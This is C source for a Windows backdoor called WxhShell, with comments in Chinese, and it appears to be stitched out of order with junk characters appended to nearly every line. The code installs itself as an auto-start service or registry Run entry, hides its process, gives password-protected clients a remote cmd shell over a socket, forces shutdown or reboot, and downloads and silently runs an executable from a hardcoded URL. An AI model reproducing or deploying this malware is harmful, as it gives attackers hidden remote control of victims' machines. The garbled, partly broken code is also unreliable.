  // 关机 0WUBj:@g  
  case 'd': { OsgPNy0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /Y7^!3uM  
    if(Boot(SHUTDOWN)) d9f7 &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Ce9R2  
    else { mk>; 3m*  
    closesocket(wsh); O*xx63%jR  
    ExitThread(0); N"S`9B1eD(  
    } r6DLShP-Ur  
    break; :;k?/KU7  
    } ;,4*uU'vq  
  // 获取shell #t+?eye~  
  case 's': { sl'4AK~\  
    CmdShell(wsh); !7N:cx'Qy  
    closesocket(wsh); 6>vR5pn  
    ExitThread(0); c+:ZmrP/  
    break;  U4!bW  
  } h[ .  
  // 退出 w 3t,S3!  
  case 'x': { mxv ?PP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (t4i&7-  
    CloseIt(wsh); -$d?e%}#  
    break; )@g[aRFa  
    } |9E:S  
  // 离开 :@L7RZ`_  
  case 'q': { "Lp.*o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BIx*t9wA  
    closesocket(wsh); ?WI v4  
    WSACleanup(); tr0b#4  
    exit(1); VI! \+A  
    break; <y6`8J7:  
        } S:xXD^n#H  
  } e={O&9Z  
  } k[Em~>m  
JX59n%$@  
  // 提示信息 r:QLU]   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }+,Q&]>~  
} |~9rak,  
  } 1[egCC\Mo_  
OM EwGr(  
  return; t^#1=nK  
} 6uRE9h|  
HhbBt'fH  
// shell模块句柄 {cdICWy(F3  
int CmdShell(SOCKET sock) _}{KS, f]0  
{ s< tG  
STARTUPINFO si; Ws2q/[\oz  
ZeroMemory(&si,sizeof(si)); d6i}xnmC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [@K'}\U^+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [v1$L p  
PROCESS_INFORMATION ProcessInfo; +)c<s3OCE  
char cmdline[]="cmd"; !)M}(I}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lxn/97rA  
  return 0; uP9b^LEoN  
} IOHWb&N6  
xU;SRB   
// 自身启动模式 `I7s|9-=  
int StartFromService(void) '(K4@[3t  
{ V9[_aP;  
typedef struct U]Q 5};FK  
{ o[;P@F  
  DWORD ExitStatus; }s2CND  
  DWORD PebBaseAddress; 7w73,r/D8A  
  DWORD AffinityMask; p\zqZ=s  
  DWORD BasePriority; Uw4iWcC  
  ULONG UniqueProcessId; l0&Fm:))k  
  ULONG InheritedFromUniqueProcessId; `0upm%A  
}   PROCESS_BASIC_INFORMATION; lBP?7`U  
Y%}&eN$r  
PROCNTQSIP NtQueryInformationProcess; T"\d,ug5[  
V lZ+x)E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3Ei^WDJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5Sl"1HL  
F2YBkwI  
  HANDLE             hProcess; smCACQ$ (  
  PROCESS_BASIC_INFORMATION pbi; CC^D4]ug  
#X] *kxQ<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0LW3VfvToN  
  if(NULL == hInst ) return 0; ^E%R5JN  
%@QxU-k_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,DEq"VW_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wPI!i K@Ro  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lLQcyi0  
#>yOp *  
  if (!NtQueryInformationProcess) return 0; 1 F:bExQ  
x)80:A}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t|>P9lX@  
  if(!hProcess) return 0; H[w';u[%  
/Ey%aA4v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {]Mwuqn  
`U0XvWPr[  
  CloseHandle(hProcess); h]@'M1D%  
e=XP4h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $\/i t  
if(hProcess==NULL) return 0; &NF$_*\E  
i:Y5aZc/Ds  
HMODULE hMod; 54{E&QvL8o  
char procName[255]; *~U*:>hS  
unsigned long cbNeeded; p` ~=v4;b  
-75mgOj.#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m +A4aQ9  
Na`> pH  
  CloseHandle(hProcess);  Xcfd]29  
)fo0YpE^|  
if(strstr(procName,"services")) return 1; // 以服务启动 ^vm6JWwN0B  
"T[BSj?E  
  return 0; // 注册表启动 (Jb#'(~a  
} zw'%n+5m  
3'p 1m`8  
// 主模块 T5`ML'Dej  
int StartWxhshell(LPSTR lpCmdLine) 1N65 M=)  
{ U8aVI  
  SOCKET wsl; BN(=LQ2["  
BOOL val=TRUE; |WUM=g7PC  
  int port=0; 8@ f!,!Wn  
  struct sockaddr_in door; 9PV]bt,  
{1=|H$wKg  
  if(wscfg.ws_autoins) Install(); {oOUIP  
7Wv.-LD6  
port=atoi(lpCmdLine); 6wT ])84  
S~r75] "  
if(port<=0) port=wscfg.ws_port; .~ uKr^%  
RU#}!Kq  
  WSADATA data; VJ h]j (  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; t<c7%i#Od  
`3? HQ2n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   wIAH,3!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^?]-Q*w3Qs  
  door.sin_family = AF_INET; yQ^,>eh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `uLr^G=;  
  door.sin_port = htons(port); Kt qOA[6  
6n]jx:CZ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S;t`C~l\  
closesocket(wsl); 67/\0mV:~  
return 1; #c' B2Jn  
} GwXhn2  
)sQ/$gJ  
  if(listen(wsl,2) == INVALID_SOCKET) { J:'_S `J  
closesocket(wsl); 0datzEns`  
return 1; oR8'^G0<  
} G3y8M |:  
  Wxhshell(wsl); r"K!]Vw  
  WSACleanup(); ]jI<Js* F  
1D)0\#><  
return 0; %H{;wVjK  
K@:omT  
} z3 ^_C`(F  
?Hdu=+ZV  
// 以NT服务方式启动 &Qv HjjQ?u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E_'H=QN c  
{ 569p/?  
DWORD   status = 0; 9D`K#3}  
  DWORD   specificError = 0xfffffff; 9 iJ$M!  
u{HO6 s\S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :J @3:+sr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <-' !I&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A4rMJ+!5  
  serviceStatus.dwWin32ExitCode     = 0; KkTE -$-  
  serviceStatus.dwServiceSpecificExitCode = 0; {U>N*&_`  
  serviceStatus.dwCheckPoint       = 0; V'RbTFb9Z  
  serviceStatus.dwWaitHint       = 0; NNr6~m)3v  
vm;%713#1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9MO=f^f-  
  if (hServiceStatusHandle==0) return; ?Bq^#i |m  
fwA8=o SZd  
status = GetLastError(); m3o -p   
  if (status!=NO_ERROR) .Mb0++% W  
{ L#'XN H"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rp"5176  
    serviceStatus.dwCheckPoint       = 0; ;ow)N <Z  
    serviceStatus.dwWaitHint       = 0; ~Gh7i>n*  
    serviceStatus.dwWin32ExitCode     = status; hi$AZ+  
    serviceStatus.dwServiceSpecificExitCode = specificError; $mAC8a_Zu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5y g`TW  
    return; xk/-TXB 0  
  } ?aWVfX!+G5  
}.'rhR+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t_!p({  
  serviceStatus.dwCheckPoint       = 0; 0fvOA*UP  
  serviceStatus.dwWaitHint       = 0;  7 FY2a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P%Vq#5  
} VJTO:}Q  
Wq+GlB*  
// 处理NT服务事件,比如:启动、停止 +a N8l1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) rOE: ap|KL  
{ Pf,@U'f|  
switch(fdwControl) 573,b7Yf  
{ RjvW*'2G  
case SERVICE_CONTROL_STOP: ^Y+C!I  
  serviceStatus.dwWin32ExitCode = 0; y9d"sqyh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mh~}RA"H  
  serviceStatus.dwCheckPoint   = 0; [|c%<|d2  
  serviceStatus.dwWaitHint     = 0; "OwVCym?  
  { 7p]Izx8][  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d,l?{ Ln  
  } %aw.o*@:  
  return; [(3s5)O  
case SERVICE_CONTROL_PAUSE: `vOL3`P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &*7KQd  
  break; 'v V7@@  
case SERVICE_CONTROL_CONTINUE: [TFJb+N&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p8!T) ?|  
  break; TMj;NSc3  
case SERVICE_CONTROL_INTERROGATE: ^HJ?k:u  
  break; rYr*D[m]  
}; 2Ckx.m&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z2uL[deN'"  
} =,(TP  
Ck Nl;g l  
// 标准应用程序主函数  @;bBc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !o /=,ZIx  
{ +1y$#~dl  
IQ I8 v  
// 获取操作系统版本 \c:$ eF  
OsIsNt=GetOsVer(); ?@.v*'qR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7pyzPc#_  
Tf86CH=)5  
  // 从命令行安装 AzOs/q8O  
  if(strpbrk(lpCmdLine,"iI")) Install(); HYfGu1j?X  
IFp%T a  
  // 下载执行文件 EsMX #1>/m  
if(wscfg.ws_downexe) { C_Ewu*T7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \EySKQ=  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mqr_w!8d  
} @&ZQDi  
9D3{[  
if(!OsIsNt) { !ajBZ>Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 zsg\|=P  
HideProc(); &<PIm  
StartWxhshell(lpCmdLine); gc.Lh~  
} l_^SU8i57  
else t*gZcw5 r  
  if(StartFromService()) $a M5jH<  
  // 以服务方式启动 \Oeo"|  
  StartServiceCtrlDispatcher(DispatchTable); 6O7s^d&K  
else ;Bs~E  
  // 普通方式启动 x}+zhRJ  
  StartWxhshell(lpCmdLine); -]Z7^  
^+_rv  
return 0; ZZY#.  
} rAH!%~  
tVAi0`DV  
SYCL\b   
zjpZ] $  
=========================================== ]`/>hH>+~9  
$ DL}jH^S  
{&=+lr_h?  
5=pE*ETJ  
iW5cEI%tb  
7Sx|n}a-3  
" -S'KxC  
DrK]U}3fh"  
#include <stdio.h> lPy|>&Yc  
#include <string.h> D*M `qPX~  
#include <windows.h> ,Z q:na  
#include <winsock2.h> \SWTP1  
#include <winsvc.h> uvId],dQ5  
#include <urlmon.h> !eW1d0n'+f  
K./qu^+k  
#pragma comment (lib, "Ws2_32.lib") yw^Pok5.  
#pragma comment (lib, "urlmon.lib") uo#1^`P  
mY"7/dw<v  
#define MAX_USER   100 // 最大客户端连接数 V]7/hN-Y}  
#define BUF_SOCK   200 // sock buffer y )QLR<wf  
#define KEY_BUFF   255 // 输入 buffer GG%b"d-  
6G8No-#y  
#define REBOOT     0   // 重启 giakEPl  
#define SHUTDOWN   1   // 关机 )UzJ2Pa<+_  
UB$}`39@  
#define DEF_PORT   5000 // 监听端口 M\]lNQA  
CMj =4e  
#define REG_LEN     16   // 注册表键长度 GA^hev  
#define SVC_LEN     80   // NT服务名长度 I,-n[k\J  
.5|[gBK  
// 从dll定义API cl& w/OJ#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \+ se%O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x~e._k=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )+_Vx}O:}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nBy-/BU&  
gIB3DuUo  
// wxhshell配置信息 yE:y[k0E  
struct WSCFG { C QkY6  
  int ws_port;         // 监听端口 .?Eb{W)^br  
  char ws_passstr[REG_LEN]; // 口令 c8uaZvfW  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]LvP)0=  
  char ws_regname[REG_LEN]; // 注册表键名 PmuG(qg  
  char ws_svcname[REG_LEN]; // 服务名 };Q}C0E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vjEDd`jYZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wm5&5F4:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #C9f?fnM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x@NfN*?/+i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "wcaJ;Os  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K9N31'  
lC5zqyG  
}; X=QX9Ux?^  
KuR]X``2  
// default Wxhshell configuration 6n9/`D!  
struct WSCFG wscfg={DEF_PORT, 6 H|SiO9  
    "xuhuanlingzhe", g[} L ?  
    1, 6z\!lOVjb  
    "Wxhshell", <"3q5ic/Z  
    "Wxhshell", }&0LoW/  
            "WxhShell Service", 9qap#A  
    "Wrsky Windows CmdShell Service", ;[y( 14g  
    "Please Input Your Password: ", g QBS#NY  
  1, E@ea ?Sx  
  "http://www.wrsky.com/wxhshell.exe", hz/mNDE]  
  "Wxhshell.exe" L^qCE-[  
    }; m` 1dB%;?  
>Na.C(DZ  
// 消息定义模块 O=%Ht-kOc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /\1'.GR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d+DO}=]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6ALjM-t=V  
char *msg_ws_ext="\n\rExit."; 3@~a)E}T  
char *msg_ws_end="\n\rQuit."; klKUX/ g  
char *msg_ws_boot="\n\rReboot..."; Kbu>U{'  
char *msg_ws_poff="\n\rShutdown..."; 8F[ ];LF>  
char *msg_ws_down="\n\rSave to "; ?`+VWa[,e  
K~:SLCv E%  
char *msg_ws_err="\n\rErr!"; "`M~=RiI  
char *msg_ws_ok="\n\rOK!"; 6FDj:~  
onu G  
char ExeFile[MAX_PATH]; lf"w/pb'  
int nUser = 0; {IOc'W-C#2  
HANDLE handles[MAX_USER]; C@a I*+@-"  
int OsIsNt; -;cF)C--12  
lw3H 8[  
SERVICE_STATUS       serviceStatus; .=:f]fs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |uy@v6  
^_#wo"  
// 函数声明 3P!OP{`  
int Install(void); \PS]c9@,rc  
int Uninstall(void); x<I[?GT=  
int DownloadFile(char *sURL, SOCKET wsh); SY Bp-o  
int Boot(int flag); 8Yc-3ozH  
void HideProc(void); |47t+[b   
int GetOsVer(void); ^: /c<(DQD  
int Wxhshell(SOCKET wsl); w6Gez~ 8  
void TalkWithClient(void *cs); h] ho? K  
int CmdShell(SOCKET sock); Z"c-Ly{vEj  
int StartFromService(void); < }K9 50  
int StartWxhshell(LPSTR lpCmdLine); @vq)Y2)r\  
kk5&lak2V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T"99m^y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ObM/~{rKx  
DOu^   
// 数据结构和表定义 C9+rrc@4  
SERVICE_TABLE_ENTRY DispatchTable[] = =x+1A)Q  
{ 4Pr^>m  
{wscfg.ws_svcname, NTServiceMain}, z#G\D5yX[*  
{NULL, NULL} rhLhFN{h  
}; %3dc_YPS  
G-i2#S   
// 自我安装 ZC2aIJ  
int Install(void) cEf"m ?w  
{ Kz b-a$  
  char svExeFile[MAX_PATH]; <e#v9=}DI  
  HKEY key; MgP|'H3\  
  strcpy(svExeFile,ExeFile); 2MB>NM<xO  
^6# yL6E,~  
// 如果是win9x系统,修改注册表设为自启动 z~f;}`0  
if(!OsIsNt) { cAN8'S(s1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `'|6b5`2j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n3?P8m$  
  RegCloseKey(key); YKUAI+ks  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @|;[ ;:h@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cFie;k  
  RegCloseKey(key); 6Z1O:Bou  
  return 0; ts&\JbL  
    } K"[jrvZ=  
  } >/Z*\6|Zx#  
} ommW  
else { R6X2d\l#  
hgYFR6VH  
// 如果是NT以上系统,安装为系统服务 lq-F*r\/~+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y}FG5'5$13  
if (schSCManager!=0) CD`6R.  
{ xBc$qjV  
  SC_HANDLE schService = CreateService _"F=4`lJ  
  ( _!|$i  
  schSCManager, 1c/<2xO~  
  wscfg.ws_svcname, )/f#~$ws  
  wscfg.ws_svcdisp, &:C[ nq  
  SERVICE_ALL_ACCESS, Uf_mwEE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %;]/Z%!  
  SERVICE_AUTO_START, ZwxEcs+UM  
  SERVICE_ERROR_NORMAL, 9'Z{uHi%  
  svExeFile, 44n41.Q]  
  NULL, [ s/j?/9  
  NULL, %iPIgma  
  NULL, 5Th\wTh04  
  NULL, _@?I)4n|  
  NULL >g+Y//Z  
  ); L4+R8ojG  
  if (schService!=0) 3#""`]9H  
  { r#j3O}(n  
  CloseServiceHandle(schService); ,]qc#KDq-1  
  CloseServiceHandle(schSCManager); >yenuqIKQv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #WUN=u   
  strcat(svExeFile,wscfg.ws_svcname); ]ml'd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UC`sq-n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {>64-bU  
  RegCloseKey(key); q 7W7sw  
  return 0; q}'<[Wg  
    } .2P3 !KCL  
  } aFnyhu&W'  
  CloseServiceHandle(schSCManager); D}{]5R  
} Ozulp(8*  
} [N*S5^>1  
pi;fu  
return 1; bQ?Vh@j(M  
} \'w.<)(GI  
[$>@f{:  
// 自我卸载 }f{5-iwD}  
int Uninstall(void) DjZTr}%q  
{ /a$Zzs&xs  
  HKEY key; 4 q % Gc  
*!NW!,R  
if(!OsIsNt) { otdv;xI9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0ikA@SAq  
  RegDeleteValue(key,wscfg.ws_regname); %0u5d$bq  
  RegCloseKey(key); n68qxD-X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jn&u u  
  RegDeleteValue(key,wscfg.ws_regname); a*,V\l|6  
  RegCloseKey(key); PJKxh%J  
  return 0; kDiR2K&  
  } rJp9ut'FEz  
} 'w;J) _Yc2  
} .(Z^}  
else { ! OVi\v 'm  
za.^vwkBk2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :K \IS`  
if (schSCManager!=0) :h0!giqoQ  
{ 93.L887  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2{hG",JL  
  if (schService!=0) ZE/Aj/7Qy  
  { wC<FF2T  
  if(DeleteService(schService)!=0) { ^sJp!hi4=)  
  CloseServiceHandle(schService); c)QOgXv  
  CloseServiceHandle(schSCManager); Z 2uU'T  
  return 0; -zH-9N*c  
  } =lh&oPc1  
  CloseServiceHandle(schService); > LU !Z  
  } &4p~i Z  
  CloseServiceHandle(schSCManager); y+.(E-g  
} MLmk=&d  
} T!pHT'J  
!uKuO  
return 1; 5)4?i p  
} \7(OFT\u:  
',Oc +jLR  
// 从指定url下载文件 k~1{|HxrE  
int DownloadFile(char *sURL, SOCKET wsh) [!#;QQ&M  
{ cc3+ Wx_  
  HRESULT hr; Nm0|U.<  
char seps[]= "/"; BLo=@C%w5  
char *token; aXD|XE%  
char *file; 1Dm$:),^T}  
char myURL[MAX_PATH]; < $rXQ  
char myFILE[MAX_PATH]; `b5pa`\4  
[4}U*\/>C  
strcpy(myURL,sURL); 4=;`\-7!  
  token=strtok(myURL,seps); XCO;t_%  
  while(token!=NULL) OFlY"O S[  
  { U$IB_a2  
    file=token; .ffb*gZ4  
  token=strtok(NULL,seps);  [ "Jt2  
  } k?Iq 6  
OxVe}Fym  
GetCurrentDirectory(MAX_PATH,myFILE); R?kyJ4S  
strcat(myFILE, "\\"); &m@DK>  
strcat(myFILE, file); Z uO 7 N  
  send(wsh,myFILE,strlen(myFILE),0); cfW;gFf  
send(wsh,"...",3,0); U#n1N7P|$F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2o`L^^  
  if(hr==S_OK) Dn.%+im-u  
return 0; @w[HXb  
else "[\TL#/  
return 1; 3gba~}c)  
1:q5h*  
} yUFT9bD  
glRHn?p  
// 系统电源模块 J?bx<$C@  
int Boot(int flag) ywbdV-t/  
{ Sa$-Yf  
  HANDLE hToken; ft 4(^|~  
  TOKEN_PRIVILEGES tkp; XRWy#Pj  
kR;Hb3hb  
  if(OsIsNt) { a.s5>:Ct  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T [2l32  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (K|7T{B  
    tkp.PrivilegeCount = 1; Gmh6|Dsg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kTs.ps8ei  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @L5s.]vg=  
if(flag==REBOOT) { |]x>|Z?/u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nHF%PH#|o  
  return 0; Meo. V|1  
} O3["5  
else { 9g`o+U{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5TS&NefM  
  return 0; /}$D&KwYg  
} 8iUj9r_  
  } Lk1e{! a  
  else { NuC+iC$_/  
if(flag==REBOOT) { <GO 5}>}p8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ppK`7J>Z  
  return 0; &`Ek-b!7  
} zP|^) h5  
else { xh9Os <  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (od9adSehV  
  return 0; q2~@z-q)b  
} R&]#@PW^  
} o==:e  
vKmV<*K  
return 1; 4|Ay;}X \  
} LF\HmKM,  
eNX!EN(^  
// win9x进程隐藏模块 0 pPSg9  
void HideProc(void) g! DJ W  
{ @PAT|6  
GX ;~K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 20A`]-D  
  if ( hKernel != NULL ) }*s`R;B|,  
  { =WM^i86  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JBt2R=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2nkymEPu  
    FreeLibrary(hKernel); b .|k j  
  } 0Tq=nYZA  
kqQT^6S   
return; jcL%_of  
}  {Bw  
u4vyj#V  
// 获取操作系统版本 5)iOG#8qJ  
int GetOsVer(void) sFV&e->AN\  
{ 8(ej]9RObU  
  OSVERSIONINFO winfo; _kXq0~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }WDzzjDR+  
  GetVersionEx(&winfo); v8f1o$R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FS^~e-A  
  return 1; y7~y@2  
  else f@Yo]FU  
  return 0; 1s/548wu  
} aI;-NnC  
{e p(_1  
// 客户端句柄模块 )9i$ 1"a(  
int Wxhshell(SOCKET wsl) y ~n1S~5cI  
{ vb`R+y@  
  SOCKET wsh; a(uZ}yS$  
  struct sockaddr_in client; 6|n3e,&A2  
  DWORD myID; e2qSU[  
`3:Q.A_?  
  while(nUser<MAX_USER) 5.d[C/pRw  
{ we8aqEomr  
  int nSize=sizeof(client); 76cLf~|d~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); * o{7 a$V  
  if(wsh==INVALID_SOCKET) return 1; qWM+!f  
T.}Y&,n$$5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZeLed[J^xJ  
if(handles[nUser]==0) [ylRq7^e  
  closesocket(wsh); {B-*w%}HU  
else #MFIsx)r  
  nUser++; 8qL.L(=\/  
  } 10_#Z~aU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @;\0cE n>  
y9b%P]i  
  return 0; Wh)!Ha}  
} !_P&SmK3  
O,JS*jXl  
// 关闭 socket _"*}8{|  
void CloseIt(SOCKET wsh) H*e+ 2  
{ cj9C6Y!  
closesocket(wsh); T+e*'<!O  
nUser--; *3)kr=x  
ExitThread(0); b~qH/A}h  
} 7=%Oev&0g-  
=f!clhO  
// 客户端请求句柄 j#0JD!Vr  
void TalkWithClient(void *cs) eR0$CTSw  
{ Q(36RX%@  
}R11G9N.  
  SOCKET wsh=(SOCKET)cs; 7[PEiAI  
  char pwd[SVC_LEN]; /3&MUB*z&y  
  char cmd[KEY_BUFF]; xHMFYt+0$G  
char chr[1]; gB~^dv {  
int i,j; zy5FO<->  
c]zFZJ6M  
  while (nUser < MAX_USER) { oC-v>&bW  
qV6WT&)T  
if(wscfg.ws_passstr) { ]f0OmUHR5i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sM+~x<}0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?U{<g,^  
  //ZeroMemory(pwd,KEY_BUFF);  /y wP 0  
      i=0; Qe{w)e0}`  
  while(i<SVC_LEN) { \5 rJ  
zCuB+r=C  
  // 设置超时 r! HXhl  
  fd_set FdRead; 1X&.po  
  struct timeval TimeOut; SiUu**zC  
  FD_ZERO(&FdRead); P#7=h:.522  
  FD_SET(wsh,&FdRead); [q_+s  
  TimeOut.tv_sec=8; /-,\$@J5)  
  TimeOut.tv_usec=0; I}m20|vv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =MMd&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .p,VZ9  
;0Pv49q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'It8h$^j  
  pwd=chr[0]; Xh>($ U  
  if(chr[0]==0xd || chr[0]==0xa) { !Av9 ?Q:  
  pwd=0; oFf9KHorW  
  break; y?3.W  
  } y;uR@{  
  i++;  RQb}t,  
    } )+hV+rM jp  
5OppK(Oi*C  
  // 如果是非法用户,关闭 socket 9&5<ZC-D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S.)Jp -&K  
} zD79M  
JD~;.3$/k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qQi\/~Y[:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KGHSEZi]  
m^G(qoZ]  
while(1) { kB> ~Tb0  
 D**GC  
  ZeroMemory(cmd,KEY_BUFF); 6eB;  
R2gV(L(!!  
      // 自动支持客户端 telnet标准   ylKK!vRHT  
  j=0; ^Aq0<  
  while(j<KEY_BUFF) { k(l2`I4V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sfj+-se(K.  
  cmd[j]=chr[0]; $Sgf jm  
  if(chr[0]==0xa || chr[0]==0xd) { ksOGCd^G7  
  cmd[j]=0; ( %\7dxiK  
  break; q8 ?kBKP  
  } a+E&{p V  
  j++; 4=xi)qF/@  
    } &(rWl`eTY`  
^ RA'E@ "  
  // 下载文件 W(`QbNJ  
  if(strstr(cmd,"http://")) { N8b\OTk2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LdV&G/G-#D  
